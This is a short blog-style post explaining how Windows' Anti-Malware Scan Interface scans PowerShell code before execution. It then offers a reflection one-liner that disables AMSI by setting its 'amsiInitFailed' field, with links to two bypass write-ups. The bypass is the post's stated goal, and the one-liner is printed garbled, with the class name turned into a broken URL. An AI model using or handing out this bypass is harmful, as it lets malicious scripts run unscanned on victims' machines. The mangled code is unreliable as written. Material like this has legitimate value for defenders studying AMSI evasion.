PowerShell AMSI Bypass

The Anti-Malware Scan Interface

As we know, PowerShell is an incredibly powerful administration and automation tool, but that same power can be wielded by the bad guys. In fact, PowerShell has proved to be a popular propagation and persistence mechanism. The fact that a payload can exist just in memory and can be obfuscated has made detection challenging. This is where AMSI comes into its own...
AV vendors have to emulate each script host, e.g. PowerShell, VBScript, to attempt capture the bad stuff. They have to write code to detect and undo obfuscation techniques employed, i.e. unpick the steps the bad guys use to hide their payloads. This is complicated and expensive. Wouldn't it be great if there was an interface an application could submit content to for a scan?
And, here's what AMSI allows us to do:

• evaluate code just prior to execution by the script host
• and, therefore, evaluate code after all the obfuscation has been stripped away

Furthermore, because we submit the code prior to execution by the script host it doesn't matter if it's come from on disk or just resides in memory. This overcomes another limitation of the traditional AV approach, i.e. focus on file system activity.

AMSI Bypass one liner

  [Ref].Assembly.GetType('http://System.Management .Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

http://www.labofapenetrationtester.com/2016/09/amsi.html
http://cn33liz.blogspot.co.id/2016/05/bypassing-amsi-using-powershell-5-dll.html